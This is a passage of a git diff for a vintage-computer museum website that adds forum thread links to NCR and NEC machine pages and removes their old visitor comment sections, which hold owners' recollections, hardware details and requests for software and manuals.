?\ - Sorry for my english but I'm French. - - author: JoeJoe (Work) - date: Wednesday 17th August 2005 - text: |- - Are these made by intel. corp for Nec\ - I have one of these in excellent condition abd keyboard.\ - Are these valuable or Junk. - - author: James Simmons (New Jersey, USA) - date: Sunday 5th June 2005 - text: |- - I worked in West Columbia, SC at NCR for 12 1/2 years. I was the founder and original President of the NCR Decision Mate V User Group at NCR Columbia. This group has metamorphed into the current PCUG, over the years. - - NCR Headquarters in Dayton Ohio gave me the duplication/publishing rights to all the DMV software produced and sold by NCR. This was pre-AT&T, as they were ending support for the DMV. - - I have one of the original first-run DMVs, the C-Itoh printer, serial and parallell modules, etc. but never got a Winchester drive. I also have all the tech manuals and updates from Clemson packed away in boxes. - - Of course, Dayton never followed through with sending all the software packages they were licensing to me! They destroyed them, instead. However, I have the packages that I received when I originally bought the unit, plus some that I worked on, and a unique one developed by a guy at Fujitsu Ltd. which allows some IBM-PC software to run on the DMV. (I don't own the rights for that one.) - - That said, I had a 512KB bread-boarded hand-made memory module, which my wife broke while cleaning my computer room last year. I desperately need the memory modules for this unit (64-256 and 245 to 512). - - Anyone who happens to have parts packed away in the attic or basement, please contact me. - - I am impressed that anyone even has a DMV in anything other than a museum. - - I am looking forward to hearing from DMV officianados. - - Regards,\ - James Simmons, Founder and President PCUG - - author: Luis C. Arocha (Caracas, Venezuela) - date: Friday 14th January 2005 - text: The family owned one back in the early 80's that was used to start a small computing business. The HDD was a Winchester 10 Mb drive, with the optional 256K module and the printer interface wich was a cartridge with the cable attached to it (just like in the pic) that plugged in the back of the CPU, it had this really noise C-Itoh printer (dot matrix, 132 columns) wich must be stored somewhere in the attic. - - author: Georg Meier (Eichstetten) - date: Friday 14th January 2005 - text: |- - Hello\ - Our company has 3 original NCR DMV\ - but we are looking for software\ - ms-dos and cp/m\ - we have some software, and one floppy boots ms-dos\ - we ar elooking for people who have a ncr dmv\ - best regards\ - Georg - - author: Gabriel (Barcelona (Spain)) - date: Tuesday 20th July 2004 - text: 'I''ve got one ! Was the first computer of my company. I remember about 4800 euro. I was 11 years old, so it was on 1.982-1.983. I don''t now if it works. About 10 years without working. Who remembers the game ''ladder'' ? "PIP LPT: (...)" :)' - - author: Mr.Roche (France) - date: Saturday 20th March 2004 - text: |- - According to a photocopie I got with my NCR Decision Mate V, NCR made 4 documentations\ - (all under the name "System Technical Manual"\ - series): 1) Hardware, 2) CP/M-80, 3) MS-DOS,\ - 4\) CP/M-86. I need Volume 1: Hardware. I am also interested in any option cards made for this system. - - Yours Sincerely,\ - Mr Roche - - author: Primoduke (Argentina) - date: Thursday 31st January 2002 - text: |- - I'm looking for software and/or documantation about the NCR DMV\ - Please, if you know where or if you have some, just contact me.\ - Thanks. oc_id: 299 source: url: https://web.archive.org/web/20230528095505/http://www.old-computers.com/museum/computer.asp?c=299 diff --git a/content/museum/ncr-pc4.md b/content/museum/ncr-pc4.md index 5fa58025..3b8dc186 100644 --- a/content/museum/ncr-pc4.md +++ b/content/museum/ncr-pc4.md @@ -67,6 +67,7 @@ params: tabs: - photos - adverts + forum_thread: 533 photos: - title: LARGE VIEW subtitle: '' @@ -120,30 +121,6 @@ params: subtitle: '' text: from Bits & Bytes magazine image: null - comments: - - author: Dave (United States) - date: Thursday 17th December 2020 - text: My first computer was an NCR PC4. I was in a mom/pop store of some sort. Behind the counter sat the PC4. It was obvious they were getting rid of it. I offered $250. They gave it to me. It had one floppy and an aftermarket 30 MB hard drive. Obsolete even then (1990), but absolutely reliable and great for the college student that I was at the time. - - author: Sebastian Blanco (uruguay) - date: Thursday 22nd September 2016 - text: I am currently in process of restoring one of this system, have already installed a new vga monitor inside the case but the motherboard have a DB15 connector for the power supply i need the pinout of this connector or the shematics. - - author: Fred (ohio) - date: Friday 5th August 2016 - text: I have a DMV/ color monitor/prtr intfc/ expan mem/ all manuals /cables. I would like to sell. - - author: Chris (NJ/USA) - date: Wednesday 12th September 2012 - text: I have a spare PC4, mono, that likely doesn''t work. But all the components, except the tube, are likely standard, so if anyone wants one they can have that much more fun fixing it! 25$ + shipping from NJ. - - author: Larry (South Carolina, USA) - date: Friday 7th May 2010 - text: As one of three engineers responsible for the design of the PC4 I would like to clarify a few data points. The DMV, designed at our facility in Augsburg, Germany, won the German industrial design award. The DMV ran CPM and MSDOS but was not hardware compatible with the IBM PC. The PC4 was the first fully IBM PC compatible computer from NCR. It was designed and manufactured at the NCR plant in Liberty, South Carolina, USA. - - author: Matthew (Ohio, US) - date: Friday 11th June 2004 - text: |- - This was the very furst computer that was totally mine as a kid. I simply loved it at the time, and now seeing it again, I almost want to track one down for old times sake. - - The all-in-one build was such a pain to work on for even the simplest of things, but other than that, it was one hell of a little computer. This brings me back to days of Hero's Quest in whopping CGA graphics, hopping around bbs's, Norton Commander, and programming black jack in gwbasic. - - The big block of manuals were fantastic. I literally always had one with me, going thru page after page of dos commands. A true delight for a geek of a kid. oc_id: 539 source: url: https://web.archive.org/web/20230605040710/http://www.old-computers.com/museum/computer.asp?c=539 diff --git a/content/museum/ncr-pc6.md b/content/museum/ncr-pc6.md index bc2b6d3c..79aab4bd 100644 --- a/content/museum/ncr-pc6.md +++ b/content/museum/ncr-pc6.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 534 photos: - title: DIFFERENT DRIVE CONFIGURATIONS subtitle: '' diff --git a/content/museum/ncr-pc8.md b/content/museum/ncr-pc8.md index 88c6301b..ef1bda1a 100644 --- a/content/museum/ncr-pc8.md +++ b/content/museum/ncr-pc8.md @@ -64,6 +64,7 @@ params: value: PSU built-in tabs: - docs + forum_thread: 535 docs: - title: 'CUSTOMER SETUP OF THE NCR PC-8 PERSONAL COMPUTER: A CASE STUDY' url: null @@ -75,33 +76,6 @@ params:  type of document : PDF **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Lawrence Shadai (United States) - date: Wednesday 7th April 2021 - text: I owned one of these. Built like a tank and served as a solid workhorse into the mid 1990''s. Replaced video with a Hercules board, had two HDDs and ran DR-DOS 6. The only one truly better for reliability was a CompuAdd that finally died in 2001. - - author: Claus E. Petersen (Denmark) - date: Thursday 26th August 2010 - text: |- - I got one of these from a good friend back in 1992. It was used, but damn, it felt good. Must weigh 25 kg, so who needs a theft insurance! :)\ - The main harddisk is a seagate 30 MB ST4038 that alone weighs 3-4 kg, but its fitted with a \*wow\* ½ height 40 MB Disk, that i had to partition, since DOS 3.3 cant handle it. Sincerely a PC from back when stuff was meant to be inherited by your children. To bad the "personality" board seems to have gone sour recently, but i dont think ill ever scrap it. I owe my possible grandchildren to see the difference of hitech from back then when they complain that my son is sayin that iPhone was top-of-the-pops when he was a kid. - - regards, cep - - author: ian Butler (Detroit, MI) - date: Wednesday 2nd June 2010 - text: |- - My parents had one of those for their business, and it was a monstrous beast of a machine $ the picture really doesn''t do it justice, because the only thing showing scale is the equally monstrous keyboard (note function keys on the left AND all the way across the top, going from F1 to F30.) Theirs was equipped with 512KB from the factory, 20MB disk, 1.2MB 5.25" and dealer-installed Wangtek 60MB QIC-02 tape drive. NCR Graphics was exactly what Ryan May reports: doublescan CGA, 640x400, which made text mode much less wretched than it was with real CGA. - - The case looks like a box but it was a work of art mechanically, with multi-part metal hinges for the front panel (hiding the cabinet lock, volume control, and third external 5.25" bay), a velcro-attached rear noise cover, and some serious powder coating inside and out. Extra feet were provided to turn it on its side to make a full tower. I don''t know what the breakdown on its power supply output was, but it had a "400W" sticker on the side of it. This thing was serious business! To this day I can still remember the merry hum of its stepper-drive Seagate. - - It had ROM BASIC, and as with the other PCx machines, it actually showed what it was testing as it POSTed, a nice step up from the IBM PC and XT. - - As I recall from the brochures my folks had, the system in that configuration ran north of $4500. - - author: Mark Powell (England) - date: Sunday 23rd November 2008 - text: Used to work for NCR UK in Tech Support - the PC8 had a heavy metal case. As you lifted the lid off, the power switch would quite often get knocked off, exposing the metal switch contacts!! Not very safe! - - author: Axel Masok (Australia) - date: Monday 19th May 2003 - text: I actually have one of these - was my first PC and it still works. Scary stuff. oc_id: 541 source: url: https://web.archive.org/web/20230528104823/http://www.old-computers.com/museum/computer.asp?c=541 diff --git a/content/museum/nec-apc-iii.md b/content/museum/nec-apc-iii.md index e54d6ab6..6288c17d 100644 --- a/content/museum/nec-apc-iii.md +++ b/content/museum/nec-apc-iii.md @@ -62,6 +62,7 @@ params: value: About $3,000 with internal 10 MB hard drive 1984 tabs: - photos + forum_thread: 970 photos: - title: LARGER VIEW subtitle: '' @@ -101,71 +102,6 @@ params: subtitle: '' text: Thanks to **Chevy** image: /media/museum/photos/nec_apciii_inside_s2.jpg - comments: - - author: Chris (New Jersey) - date: Sunday 20th March 2016 - text: |- - I have a working APC III and color monitor, fully decked out. It has the 8087 option and the SLE board, which stands for Software Library Expander, giving it essentially full IBM compatibility. I haven''t tested it, but the hard drive has/had Jeopardy loaded, and it seemed to run fine. Ok not MS Flight Simulator or Lotus 1-2-3 (IBM version), which were designated compatibility litmus tests back in the day, but I assume it''s pretty compatible. I''d have to pull it out and dust it off and mess with it some. I doubt the h/d will boot anymore, but I have all the necessary s/w images, including those necessary to activate the SLE subsystem.\ - From the looks of it, the III is the American market version of the PC-9801, or very similar at least. Has the same cards/card cage in the back. C-Bus? A 9801 would be very very cool to have, Japanese to the hilt, but I''m still proud of my APC III. - - author: Rob Sullivan (Washington/USA) - date: Tuesday 7th May 2013 - text: I used both the original APC and the APCIII. They were cutting edge computers at the time. My father was IS Director for NEC Technologies at the time so I got to play with most of the new NEC products, including some of their home audio gear. I really liked the APC with the two 1MB floppies and 10MB hard drive. Moonball was great on that having the color screen. My dad used it for doing letters (stuffing envelopes) for an organization outside Boston and the machine would keep me up at night as both floppies were very noisy when being accessed for the mail merge (can''t remember what the word processing program was". But it would be going all night long processing the letters and then printing them out on the NEC Spinwriter, a letter quality printer at the time. It''s funny how looking back on those days how amazing they seemed.. even compared to today with all the technology. I guess it was my age and the newness of computers, but there was something special about messing around - with these computers. I''ve been in and out of IT for 35 years now (and my dad a lot longer) and these old computers have a special place in my heart. - - author: Paulo (Portugal) - date: Monday 25th February 2013 - text: I used an APC III back in 82/83. It booted in BASIC direct if no floppy was $ed. The floppy drive was an accessory that came later and a wonder to me! Before that I had to type the program I needed to run line by line every time it was turned on again! With floppies also came the possibility to boot in other operating systems. I used CP/M and the fantastic programs DR-Draw and DR-Graph. Also Wordperfect! Miss those days! - - author: Martin (United States) - date: Monday 12th November 2012 - text: I have an APC III (it was my fathers), still fully operational. He added an 8087 math co-processor to it to generate Mandlebrot sets (fractals) that are beautiful. It also has the optional sound card in it. Still have the NEC "Moonball" pinball game software - it is great fun to play to this day. I have the original NEC manuals in binders also. - - author: John Negus (Australia) - date: Saturday 2nd June 2012 - text: I am an architect and used this system to document buildings using Autocad written specifically for the APC 111. It was comparable to its predecessor, the APC CP/M computer, but used 5.25" floppies instead of 8" and was cheaper. It had 8 colours instead of the 4 of the IBM PC and a better processor (8086). I had the expansion card which allowed me to use the DOS version of Wordperfect for my specifications. I purchased it as soon as it was released in Australia and used it as a production machine until around 1990. A great machine in its day!!! - - author: Mr Neil (Australia) - date: Sunday 12th February 2012 - text: Cool machine, I had Pinball Magic? and Flight Leader. I was lucky enough to get a 2nd machine and monitor, this one had the 10mb HDD. I wonder what they''re worth these days? It''s solid and heavy, all the boards have chunky quality components. - - author: Paul (Australia) - date: Saturday 14th January 2012 - text: |- - My father purchased this exact P.C for his floor coverings business and our family to use. - - It was very frustating when it didn''t play MS DOS based games properly. Wierd graphics and dodgy compatibility made loading and playing games a challenge to say the least. - - I have many fond memories though, this P.C certainly had "character" and it was super reliable over many of the dodgy asian clones being sold at the time. - - author: Paul (Australia) - date: Saturday 14th January 2012 - text: |- - My father purchased this exact P.C for his floor coverings business and our family to use. - - It was very frustating when it didn''t play MS DOS based games properly. Wierd graphics and dodgy compatibility made loading and playing games a challenge to say the least. - - I have many fond memories though, this P.C certainly had "character" and it was super reliable over many of the dodgy asian clones being sold at the time. - - author: Paul (Australia) - date: Saturday 14th January 2012 - text: |- - My father purchased this exact P.C for his floor coverings business and our family to use. - - It was very frustating when it didn''t play MS DOS based games properly. Wierd graphics and dodgy compatibility made loading and playing games a challenge to say the least. - - I have many fond memories though, this P.C certainly had "character" and it was super reliable over many of the dodgy asian clones being sold at the time. - - author: Alex Young (USA) - date: Tuesday 1st May 2007 - text: |- - The APC III was my first system, and I used it for many years. - - The only thing I think I can add here is a note that there was an optional sound card with a very limited range of tones. - - The machine was a tank and survived at least a decade and a half before the hard drive finally failed. - - There was an included diskette with a bunch of proprietary games and such on it with one addictively simple title "cows and cars". - - author: Patrick Mannion (Lynn, Massachusetts USA) - date: Friday 23rd April 2004 - text: Ahhhhh... the NEC APC III, the first computer our family had. My dad got it becuase he used to work for NECIS (NEC Info Systems) in Braintree, Mass. I remember I used to watch my dad use and some times I would sit in front of it. I never really used it, I could be wrong becuase my memory is rusty. Then, about summer or two ago I was cleaning out in our dirty dirty basement and lo and behold there it was in its glory but all dusty and dirty, then I stumbled upon a bunch of manuals, one which a ring binder of what seemed be a catalog and some expansion boards, I believe. I would be willing to share them. - - author: Richard Bramante (USA) - date: Sunday 29th February 2004 - text: |- - This was a tough machine for me to get software for. I serached the net for quite awhile and came up empty. I got lots of offers for original APC software on 8" floppies, but hardly a nibble for APC III stuff. I finally found someone who came upon some APC III disks and was able to get DOS and DR Draw for this machine. - - I'd love more software to try out, as this seems like an interesting machine. I copy of PC/UX would be a neat thing to try assuming I have the hardware to run it. Please let me know if you can help me out with some disk images. oc_id: 996 source: url: https://web.archive.org/web/20230324112835/http://www.old-computers.com/museum/computer.asp?c=996 diff --git a/content/museum/nec-apc.md b/content/museum/nec-apc.md index 18702571..49eb30d8 100644 --- a/content/museum/nec-apc.md +++ b/content/museum/nec-apc.md @@ -72,6 +72,7 @@ params: tabs: - photos - adverts + forum_thread: 338 photos: - title: PROMOTIONAL PICTURE subtitle: '' @@ -96,118 +97,6 @@ params: subtitle: '' text: As the first advert campaing was not a good idea, NEC of America replaced it with this one... which was not better image: /media/museum/pubs/nec_apc_pub_2.jpg - comments: - - author: Vaffangool (United States) - date: Sunday 21st March 2021 - text: I have WordStar and Zork for the APC on 8" floppy, probably CP/M but could be MS-DOS - - author: Eliyahu Skoczylas (Jerusalem, Israel) - date: Sunday 20th January 2019 - text: |- - I worked at a telecom startup in 1982-4. We all used these machines to do cross-platform software development for the custom switching equipment we were developing. Management chose them as our development platform because the dual 8" floppies had enough capacity for each of us to do a meaningful amount of work without needing hard drives. - - We would use the first drive with MS-DOS and the Aztec C compiler, and the second drive would contain our development modules, source and object. Only the software librarian and one build machine had hard drives, almost a dozen coders were each on a floppy version. Plus, these machines would do compiles more quickly than a couple of other computers that we''d tried. - - They were sturdy, workhorse machines. - - author: Pete Peterson (United States) - date: Thursday 11th October 2018 - text: Aaah... this machine brings back memories! Back in the 80s, while Madonna was true blue and Reagan was playing brinksman, I was lugging one of these babies from company to company to install and maintain NEC NEAX2400 PBX systems. We affectionately referred to it as the "Wonk-Wonk" computer, owed to the sound it often emitted while searching floppies. It was big, heavy and built like a battleship. Larger customer bought one, but small NEAX2400 customers couldn''t afford the $6000 US price tag, so we brought our maintenance machine with us on installs. One night, after a long brutal cutover, I was leaving a savings and loan branch with My APC on a hand truck. I was cluncking down a set of concrete stairs when it broke loose! It tumbled down one flight, rounded the landing, and descended another entire flight. Oh Shit! I''m in big trouble, I though. I rushed to the scene, to find the machine largely in tact, with only a small crack in the case. I took it back to the lab, opened it - up, re-seated a couple of add-in cards, and it fired up fine! It was heavy and monstrous, but built like a battleship. - - author: Marcus Wigan (Melbourne australia) - date: Wednesday 10th January 2018 - text: I have an APC, and the NCI P-system discs for it. the NCI version worked well.. Im still working on my apple Mac old machines \*128/se30/centris/ci etc)getting them all working with the original software.. soon ill be moving on to the aPC..and could really use more 8" software for itIt was working when I got it and i have not yet checked to see what manuals I might still have..but ill try and respond to any specific requests.! - - author: Nicholas Downing (Australia) - date: Tuesday 21st June 2016 - text: I have the 128K colour dual floppy model, text only although you could load up to 256 custom characters into the CGRAM which could be used as a rudimentary graphics facility, my dad bought this mainly for word processing and business but although it moved between his factory/office and home at times it was mainly used as our family computer, effectively my personal hobby machine and I loved it. My friends had Commodore 64s, PETs, Dick Smith VZ200 and the like, I was jealous of their graphics and sound capabilities but on the whole I liked having a solid business machine running a good BASIC (we used MSDOS 2.11 with MS Basic-86 interpreter, I also dabbled with the compiler from time to time). I was not that competent in assembly language and the 7220 datasheet was gobbledegook to me at the time but I was always keen to try to switch the text card into graphics mode or obtain the graphics card for it. If anybody has such a card and could post to Australia for a nominal fee I would - love to try it out. Our machine had a minor fault which was probably temperature related but would only occur occasionally, however any replacement CPU card, etc, would also be more than welcome, as would any well known software since we had basically no software for the machine except what we ported ourselves, the main app we used was "Spellbinder" word processor running on a daisywheel that my father had rescued from scrap and fitted with a serial interface, he then created font tables etc for Spellbinder. Very awesome. - - author: Chris (New Jersey) - date: Sunday 20th March 2016 - text: I had 2 of these, both gone, but still have all the cards, except for the CPU card. I even have the aftermarket Butler Flats Associates card that connects the machine to 5 1/4" disk drives. The s/w I never took the opportunity to archive, and sadly is unobtainium. If anyone has the drivers for this board, and/or the cpu card, please contact me. indiscreetlogic at yahoo dot calm - - author: Brian Empey, P.Eng. (Canada) - date: Wednesday 18th February 2015 - text: |- - please correct the OS information on the NEC APC.\ - These computers initially only came with the UCSD P-System\ - Then later (in 1981) CPM-86 was added.\ - Then (after the IBM PC existed) MS-DOS was eventually ported. - - I wrote almost a million lines of Pascal code for a complete CADD system that successfully competed against AutoCAD at the time. It was called "Arthur" - - The color graphics board came with 512k bytes of RAM, as 3 banks of RGB 1024x1024 pixels (128k per color plane) plus 128k general RAM.\ - Plus 768k main memory.\ - Plus a monochrome video (text) card also running an NEC uPD-7220 chip, but running in text mode. - - In Canada, fully loaded (dual 8" floppies, 1-1/4 Megs of RAM, but without the math co-processor or HD) they cost $8,500 each. That was 1981. - - author: Terry (AU) - date: Saturday 27th December 2014 - text: |- - I have a few 5 1/4 and 8 " disks from various systems including the NEC APC''s DOS and CP/M with OK and other programs.\ - They were great as was the Canon CX3 range etc - - author: Ron Potter (Manchester WA / USA) - date: Friday 8th February 2013 - text: |- - For awhile the NEC Advanced Personal Computer was the featured player in our business by virtue of being one of the first systems to do a good job with Autodesk''s AutoCAD. In fact, we thought it was the best solution at the time when it becamet available, and so did Autodesk. - - We set up the first architect in Anchorage Alaska with CAD, and did a bit of business with engineers, but mostly they were stuck with their DEC and other minis. We got out of it when Autodesk demanded we put an architect or engineer on our sales force just as the construction market collapsed in Anchorage. - - I agree with negative comments about NEC''s marketing. I had lunch once with their US CEO, and told him that what they were doing with the APC was clueless, and he seemed to listen well, but nothing changed and the world moved on leaving NEC a mere footnote and it soon abandoned sales of PCs in the US. Guess they couldn''t get their mind off their super computers to pay attention to this low end market. That was the feeling I had. - - You can see my old NEC APC/AutoDesk showroom at my website for the now closed Abacus North, http://www.abacus49.com/A49_History3.html. - - Kind of wish my budget and circumstance had allowed me to keep one. I loved the old heavy beast. - - Cheers!\ - Keep on Remembering to Remember all the great bits about the early days of PCs. - - author: teigan annsaint (california) - date: Saturday 1st January 2011 - text: i have one of these with the color graphics card. by the time i inherited it, there was no software to be bought anywhere. the original ucsd pascal discs worked, but that was painfully inefficient and slow. i managed to write a few simple graphics demos in assembly language, which proved how inept the geniuses at ucsd were. were all the available graphics apps as slow as the pascal compiler? i''m currently on a hunt for the CNC milling software. - - author: Philip Haynes (Australia) - date: Monday 15th November 2010 - text: |- - This PC also used UCSD p-System (which wasn''t very good). - - Of notability (in Australia) was it''s scientific word processor - OK editor (completely written in assembler). To this day it is still the best editor for scientific publications that I have used. - - In Australia some very clever chappies whose name I cannot remember developed high performance graphics software with a very early version of TurboPascal.\ - With this and the graphics card you had high resolution (two page) graphics. - - It wasn''t till I got my Silicon Graphic''s personal Iris in 88 did I have a better machine. - - author: Stephen (New Zealand) - date: Monday 7th June 2010 - text: Hi, I actually have one of these with the monochrome screen. It still goes and the disk drives spin when I put a disk in, but sadly I have no operating disk, just sixty odd disks containing some old data by the looks of them, and perhaps one or two programs. - - author: Mark Chandler (New York, NY) - date: Wednesday 9th July 2008 - text: |- - Comments from a NASA/GISS senior scientists regarding the NEC APC:\ - The NEC APC used Intel's newest 8086 chip, a 16-bit processor at 4.3 MHz. In most of our APC's we later added a NEC graphics board and an 8087 coprocessor for mathematical calculations. I wrote subroutines in 8086 assembly language to drive the APC's graphics board. We made latitude-longitude color plots and contour plots. \[We also used a\] tripod and Nikon camera and shot color slides from the APC screen; I still have some in my desk drawer. Later, Bob S. and I wrote software to drive an early IBM color ink jet printer from the APC. - - author: Mark Chandler (New York, NY, USA) - date: Tuesday 8th July 2008 - text: Most of the top scientists at NASA's Goddard Institute of Space Studies had these computers on their desks throughout the 1980's for imaging and analysis of global climate model output (the climate simulations were run on IBM mainframes). Much of the climate model development as well as the analyses of early global warming studies that were done by Jim Hansen and his research group at NASA relied on these computers. The graphics software AND specialized text editors for dealing with the massive volume of Fortran GCM code were written in-house for these NEC APCs. I used them as a graduate student in the late 1980s while at NASA/GISS and there were still working APCs around GISS until about 2000 (but no more). - - author: Terry Payne (Australia) - date: Thursday 19th June 2008 - text: I worked on these (in Perth, Australia) and still have 8" disks for MS dos 2.11 and CP/m 86 with sundry programs including OKwriter(?) a scientific word processor. Don't know if the disks still work though! Was a great system at the time. Like the Canon CX3 (also have disks) not appreciated at the time as the XT swept all before it. - - author: Mark Brindle (Earth) - date: Tuesday 13rd November 2007 - text: |- - I had one of these and loved it. I wrote and sold a graphics library (written in Turbo Pascal), a character generator (remember the characters were all programable) as well as an accounting system. - - I still have copies at home for my software but no way of reading them as the machine died almost 10years ago. - - Brings back lots of great memories!!!! - - author: Mark Creery (USA) - date: Wednesday 2nd March 2005 - text: I owned one of these (or maybe an earlier NEC APC). We ordered it with 8" diskette drives allowing us to port older CPM programs for work in IBM PC's. It also had a nice feature that allowed you to power it on and off on a schedule. - - author: Athelwulf (Australia) - date: Monday 28th February 2005 - text: Hi, there, I just received one of these from a kind gentleman. I am having trouble booting it past the initial \[\*\] which is displayed upon power on (an error message of sort?). Am I missing something obvious or is the machine dead. Thanks in advance. - - author: Herb Johnson (USA) - date: Thursday 22nd July 2004 - text: In July 2004 I acquired one of these, with color screen. Mine is yellow, and was apparently used with a Bridgeport milling machine, probably for ancient CNC (numeric control). No software, anyone have an 8" boot disk? I believe there are some CP/M GSX drivers around for this beast... - - author: Brian Reid (USA) - date: Wednesday 31st March 2004 - text: I once had a pair of these, with software for them piled high.. autocad, infocom works, public domain disks, etc... Eventually the power supply on the single floppy model blew out, and I kept the other alive (it had a failing floppy drive) with the parts from the old one. At the time I was very curious about them and decided one day to put both CPU/memory cards in one machine and it failed to start up. Leafing through the manuals included with it, I found that by flipping a few dipswitches on one board you could alter the memory addresses and give it more than the 640k it came with (though no program could actually access it, both cpus did work and make it slightly faster). I am still a fan of infocom! I do so miss the lights dimming too and the loud hum as it geared up. The internal debugger was also a hoot, pull the rubber plug out of the keyboard and hit the button inside and wa-lah, a debugger right there at your fingertips. - - author: mike lewandowski (work) - date: Wednesday 2nd July 2003 - text: Is there any body out there that can repair these boxes. We have one here it work that I program the CNC machine with and i love it. But it won't boot, seems like the drives wob't go. oc_id: 333 source: url: https://web.archive.org/web/20230417033459/http://www.old-computers.com/museum/computer.asp?c=333 diff --git a/content/museum/nec-compo-bs-80.md b/content/museum/nec-compo-bs-80.md index 2e464c1d..e9453e03 100644 --- a/content/museum/nec-compo-bs-80.md +++ b/content/museum/nec-compo-bs-80.md @@ -53,6 +53,7 @@ params: - photos - adverts - links + forum_thread: 391 photos: - title: BS/80 A subtitle: '' diff --git a/content/museum/nec-coregrafx-ii.md b/content/museum/nec-coregrafx-ii.md index 8528b17c..6abf466b 100644 --- a/content/museum/nec-coregrafx-ii.md +++ b/content/museum/nec-coregrafx-ii.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 1212 photos: - title: BOX subtitle: '' @@ -105,10 +106,6 @@ params: - title: Universo PCcengine url: http://pcengine.cjb.net/ text: Nice brazilian site - comments: - - author: Rob m (Usa) - date: Friday 2nd April 2021 - text: Not exactly the same as a core grafx 1 The original core grafx used a revised CPU, the HuC6280a, which supposedly fixed some minor audio issues oddly enough the core grafx ii does not use the revised CPU it was changed back to the original HuC6280 which matches the original white pc engine why nec chose to do this is beyond me 🤷ðŸ�»â€�♂ï¸� related: - /museum/nec-coregrafx - /museum/nec-pc-engine diff --git a/content/museum/nec-coregrafx.md b/content/museum/nec-coregrafx.md index 5f7afe35..ac483a75 100644 --- a/content/museum/nec-coregrafx.md +++ b/content/museum/nec-coregrafx.md @@ -12,6 +12,7 @@ params: - hardware - emulators - links + forum_thread: 1211 photos: - title: COREGRAFX subtitle: '' @@ -58,10 +59,6 @@ params: - title: Universo PCcengine url: http://pcengine.cjb.net/ text: Nice brazilian site - comments: - - author: Rob (Usa) - date: Friday 2nd April 2021 - text: Aside from an added av port It also used a revised version of the CPU, the HuC6280a, which supposedly fixed some minor audio issues oddly enough the core grafx ii does not use the revised CPU it was changed back to the original HuC6280. related: - /museum/nec-coregrafx-ii - /museum/nec-pc-engine diff --git a/content/museum/nec-pc-6001-mk-2-sr.md b/content/museum/nec-pc-6001-mk-2-sr.md index 2f0d568f..cebb6af5 100644 --- a/content/museum/nec-pc-6001-mk-2-sr.md +++ b/content/museum/nec-pc-6001-mk-2-sr.md @@ -61,6 +61,7 @@ params: tabs: - photos - hardware + forum_thread: 393 photos: - title: SYSTEM subtitle: '' @@ -75,26 +76,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/nec_pc6001mk2sr_tape-docs.jpg - comments: - - author: Hasan Salim (iraq) - date: Thursday 12th January 2023 - text: This was my first computer. My father bought it to me back in 1990. The system includes the NEC 6001mkII computer, cassette recorder, 3.5 floppy drive, 4-color plotter, joystick, and a monitor. I learned BASIC with it and also used it later to do machine language programming on it''s Z80 processor. - - author: Sal (NZ) - date: Tuesday 12th May 2020 - text: |- - Please update sound section to mention that this computer also has an FM chip and an additional 3 channels of music playback. - - Details: - - PC-6001 Mk2 SR also has an FM synth accessible in N66SR BASIC, specifically: Yamaha YM2203. It allows playback of 3 additional channels for FM instruments/sounds bringing the total to 6 channels of music playback. - - Here''s a video captured of music playback on this computer that use both PSG and FM: https://www.youtube.com/watch?v$zvVq8MHoybA - - Playing both PSG and FM was as simple as using the play command with 6 arguments: $PLAY "cde","fga","cge","@3cde","@5fga","@7cge"$ - - The "@" char is used for FM channels to specify instrument out of 12 preset instruments or using a custom instrument out of a few available slots. - - Cheers oc_id: 394 source: url: https://web.archive.org/web/20230608083532/http://www.old-computers.com/museum/computer.asp?c=394 diff --git a/content/museum/nec-pc-6001-mk-2.md b/content/museum/nec-pc-6001-mk-2.md index 2758e79d..6925cba9 100644 --- a/content/museum/nec-pc-6001-mk-2.md +++ b/content/museum/nec-pc-6001-mk-2.md @@ -60,6 +60,7 @@ params: value: 84 800 yen (Japan, 1983) tabs: - photos + forum_thread: 392 photos: - title: PC 6001 MK 2 subtitle: '' @@ -97,34 +98,6 @@ params: Thanks to **Juan Villa** image: /media/museum/photos/nec_pc6001mk2_boot_s1.jpg - comments: - - author: MacDeath - date: Monday 28th February 2011 - text: |- - This Computer actualy have the same specification as an Amstrad CPC computer...\ - Be it CPU : Z80A (clone here), sound PSG : AY-3-8910(AY-3-8910 on CPC too) and the graphic modes of 160x200x16 and 320x200x4. - - The main differences ?\ - -In built Vocal Synthtiser (those were exeternal peripheral on CPC) and a different Basic which includes Japanese characters.\ - -Nec has a ZX Spectrum like 15 colours palette while CPC has a 3x3x3 cubic RGB palette (27 colours)\ - -Disk Drives and RAM/ROM differ from models to models of course. - - author: go_ - date: Sunday 18th September 2016 - text: |- - 1 GND\ - 2 GND\ - 3 GND\ - 4 CMTOUT\ - 5 CMTIN\ - 6 REMOTE+\ - 7 REMOTE-\ - 8 GND - - author: Jet Fidelis (Brasil) - date: Saturday 18th October 2014 - text: |- - Hi, - - Can you please help me to searching to NEC PC-6001MkII cassete pin out? oc_id: 393 source: url: https://web.archive.org/web/20230608215355/http://www.old-computers.com/museum/computer.asp?c=393 diff --git a/content/museum/nec-pc-6001.md b/content/museum/nec-pc-6001.md index ad9f01dd..54283602 100644 --- a/content/museum/nec-pc-6001.md +++ b/content/museum/nec-pc-6001.md @@ -64,6 +64,7 @@ params: - hardware - software - emulators + forum_thread: 187 photos: - title: PC-6001 subtitle: '' @@ -181,28 +182,6 @@ params: url: http://www.geocities.com/emucompboy/ platform: Windows text: An emulator for the NEC Trek (aka NEC PC-6001A) by James the Animal Tamer! - comments: - - author: David - date: Wednesday 29th October 2014 - text: Very nice japanese technology - - author: David - date: Wednesday 29th October 2014 - text: Very nice japanese technology - - author: Jet Fidelis (Brasil) - date: Saturday 18th October 2014 - text: |- - Hi, - - Can you please help me to searching to NEC PC-6001MkII cassete pin out? - - author: DataPro (France) - date: Thursday 10th November 2011 - text: Is it true that the Sanyo PHC-25 is Nec PC-6001 compatible ? - - author: Reini (Austria) - date: Monday 2nd July 2007 - text: |- - Hi,\ - I am searching the game Out Run for the NEC PC-6001 released in the year 1986.\ - Can you please help me to find a Rom dump of this famous racing game to use it on a emulator? oc_id: 177 source: url: https://web.archive.org/web/20230605044139/http://www.old-computers.com/museum/computer.asp?c=177 diff --git a/content/museum/nec-pc-8001-mk-2-sr.md b/content/museum/nec-pc-8001-mk-2-sr.md index 81950ba6..310071e4 100644 --- a/content/museum/nec-pc-8001-mk-2-sr.md +++ b/content/museum/nec-pc-8001-mk-2-sr.md 